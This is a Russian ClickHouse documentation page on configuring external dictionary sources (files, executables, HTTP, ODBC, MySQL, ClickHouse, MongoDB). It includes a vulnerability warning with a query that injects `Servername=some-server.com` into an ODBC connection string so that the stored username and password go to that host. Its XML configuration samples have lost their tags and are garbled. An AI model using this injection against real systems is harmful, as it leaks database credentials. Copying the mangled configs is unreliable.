# Источники внешних словарей
Внешний словарь можно подключить из множества источников.
Общий вид конфигурации:
```xml
...
...
...
```
Источник настраивается в разделе `source`.
Типы источников (`source_type`):
- [Локальный файл](#dicts-external_dicts_dict_sources-local_file)
- [Исполняемый файл](#dicts-external_dicts_dict_sources-executable)
- [HTTP(s)](#dicts-external_dicts_dict_sources-http)
- [ODBC](#dicts-external_dicts_dict_sources-odbc)
- СУБД:
- [MySQL](#dicts-external_dicts_dict_sources-mysql)
- [ClickHouse](#dicts-external_dicts_dict_sources-clickhouse)
- [MongoDB](#dicts-external_dicts_dict_sources-mongodb)
## Локальный файл
Пример настройки:
```xml
/opt/dictionaries/os.tsvTabSeparated
```
Поля настройки:
- `path` - Абсолютный путь к файлу.
- `format` - Формат файла. Поддерживаются все форматы, описанные в разделе "[Форматы](../../interfaces/formats.md#formats)".
## Исполняемый файл
Работа с исполняемым файлом зависит от [размещения словаря в памяти](external_dicts_dict_layout.md#dicts-external_dicts_dict_layout). Если тип размещения словаря `cache` и `complex_key_cache`, то ClickHouse запрашивает необходимые ключи, отправляя запрос в `STDIN` исполняемого файла.
Пример настройки:
```xml
cat /opt/dictionaries/os.tsvTabSeparated
```
Поля настройки:
- `command` - Абсолютный путь к исполняемому файлу или имя файла (если каталог программы прописан в `PATH`).
- `format` - Формат файла. Поддерживаются все форматы, описанные в разделе "[Форматы](../../interfaces/formats.md#formats)".
## HTTP(s)
Работа с HTTP(s) сервером зависит от [размещения словаря в памяти](external_dicts_dict_layout.md#dicts-external_dicts_dict_layout). Если тип размещения словаря `cache` и `complex_key_cache`, то ClickHouse запрашивает необходимые ключи, отправляя запрос методом `POST`.
Пример настройки:
```xml
http://[::1]/os.tsvTabSeparated
```
Чтобы ClickHouse смог обратиться к HTTPS-ресурсу, необходимо [настроить openSSL](../../operations/server_settings/settings.md#server_settings-openSSL) в конфигурации сервера.
Поля настройки:
- `url` - URL источника.
- `format` - Формат файла. Поддерживаются все форматы, описанные в разделе "[Форматы](../../interfaces/formats.md#formats)".
## ODBC
Этим способом можно подключить любую базу данных, имеющую ODBC драйвер.
Пример настройки:
```xml
DatabaseName
ShemaName.TableName
DSN=some_parametersSQL_QUERY
```
Поля настройки:
- `db` - имя базы данных. Не указывать, если имя базы задано в параметрах. ``.
- `table` - имя таблицы и схемы, если она есть.
- `connection_string` - строка соединения.
- `invalidate_query` - запрос для проверки статуса словаря. Необязательный параметр. Читайте подробнее в разделе [Обновление словарей](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime).
ClickHouse получает от ODBC-драйвера информацию о квотировании и квотирует настройки в запросах к драйверу, поэтому имя таблицы нужно указывать в соответствии с регистром имени таблицы в базе данных.
### Выявленная уязвимость в функционировании ODBC словарей
!!! attention
При соединении с базой данных через ODBC можно заменить параметр соединения `Servername`. В этом случае, значения `USERNAME` и `PASSWORD` из `odbc.ini` отправляются на удаленный сервер и могут быть скомпроментированы.
**Пример небезопасного использования**
Сконфигурируем unixODBC для работы с PostgreSQL. Содержимое `/etc/odbc.ini`:
```
[gregtest]
Driver = /usr/lib/psqlodbca.so
Servername = localhost
PORT = 5432
DATABASE = test_db
#OPTION = 3
USERNAME = test
PASSWORD = test
```
Если выполнить запрос вида:
```
SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db');
```
то ODBC драйвер отправит значения `USERNAME` и `PASSWORD` из `odbc.ini` на `some-server.com`.
### Пример подключения PostgreSQL
ОС Ubuntu.
Установка unixODBC и ODBC-драйвера для PostgreSQL: :
sudo apt-get install -y unixodbc odbcinst odbc-postgresql
Настройка `/etc/odbc.ini` (или `~/.odbc.ini`):
```
[DEFAULT]
Driver = myconnection
[myconnection]
Description = PostgreSQL connection to my_db
Driver = PostgreSQL Unicode
Database = my_db
Servername = 127.0.0.1
UserName = username
Password = password
Port = 5432
Protocol = 9.3
ReadOnly = No
RowVersioning = No
ShowSystemTables = No
ConnSettings =
```
Конфигурация словаря в ClickHouse:
```xml
table_nameDSN=myconnection
postgresql_table
300360idsome_columnUInt640
```
Может понадобиться в `odbc.ini` указать полный путь до библиотеки с драйвером `DRIVER=/usr/local/lib/psqlodbcw.so`.
### Пример подключения MS SQL Server
ОС Ubuntu.
Установка драйвера: :
```
sudo apt-get install tdsodbc freetds-bin sqsh
```
Настройка драйвера: :
```
$ cat /etc/freetds/freetds.conf
...
[MSSQL]
host = 192.168.56.101
port = 1433
tds version = 7.0
client charset = UTF-8
$ cat /etc/odbcinst.ini
...
[FreeTDS]
Description = FreeTDS
Driver = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so
Setup = /usr/lib/x86_64-linux-gnu/odbc/libtdsS.so
FileUsage = 1
UsageCount = 5
$ cat ~/.odbc.ini
...
[MSSQL]
Description = FreeTDS
Driver = FreeTDS
Servername = MSSQL
Database = test
UID = test
PWD = test
Port = 1433
```
Настройка словаря в ClickHouse:
```xml
test
dict
DSN=MSSQL;UID=test;PWD=test300360ksString
```
## СУБД
### MySQL
Пример настройки:
```xml
3306clickhouseqwertyexample01-11example01-21db_name
table_name
id=10SQL_QUERY
```
Поля настройки:
- `port` - порт сервера MySQL. Можно указать для всех реплик или для каждой в отдельности (внутри ``).
- `user` - имя пользователя MySQL. Можно указать для всех реплик или для каждой в отдельности (внутри ``).
- `password` - пароль пользователя MySQL. Можно указать для всех реплик или для каждой в отдельности (внутри ``).
- `replica` - блок конфигурации реплики. Блоков может быть несколько.
- `replica/host` - хост MySQL.
\* `replica/priority` - приоритет реплики. При попытке соединения ClickHouse обходит реплики в соответствии с приоритетом. Чем меньше цифра, тем выше приоритет.
- `db` - имя базы данных.
- `table` - имя таблицы.
- `where` - условие выбора. Необязательный параметр.
- `invalidate_query` - запрос для проверки статуса словаря. Необязательный параметр. Читайте подробнее в разделе [Обновление словарей](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime).
MySQL можно подключить на локальном хосте через сокеты, для этого необходимо задать `host` и `socket`.
Пример настройки:
```xml
localhost/path/to/socket/file.sockclickhouseqwertydb_name
table_name
id=10SQL_QUERY
```
### ClickHouse
Пример настройки:
```xml
example01-01-19000defaultdefault
ids
id=10
```
Поля настройки:
- `host` - хост ClickHouse. Если host локальный, то запрос выполняется без сетевого взаимодействия. Чтобы повысить отказоустойчивость решения, можно создать таблицу типа [Distributed](../../operations/table_engines/distributed.md#table_engines-distributed) и прописать её в дальнейших настройках.
- `port` - порт сервера ClickHouse.
- `user` - имя пользователя ClickHouse.
- `password` - пароль пользователя ClickHouse.
- `db` - имя базы данных.
- `table` - имя таблицы.
- `where` - условие выбора. Может отсутствовать.
- `invalidate_query` - запрос для проверки статуса словаря. Необязательный параметр. Читайте подробнее в разделе [Обновление словарей](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime).
### MongoDB
Пример настройки:
```xml
localhost27017testdictionary_source
```
Поля настройки:
- `host` - хост MongoDB.
- `port` - порт сервера MongoDB.
- `user` - имя пользователя MongoDB.
- `password` - пароль пользователя MongoDB.
- `db` - имя базы данных.
- `collection` - имя коллекции.
[Оригинальная статья](https://clickhouse.yandex/docs/ru/query_language/dicts/external_dicts_dict_sources/)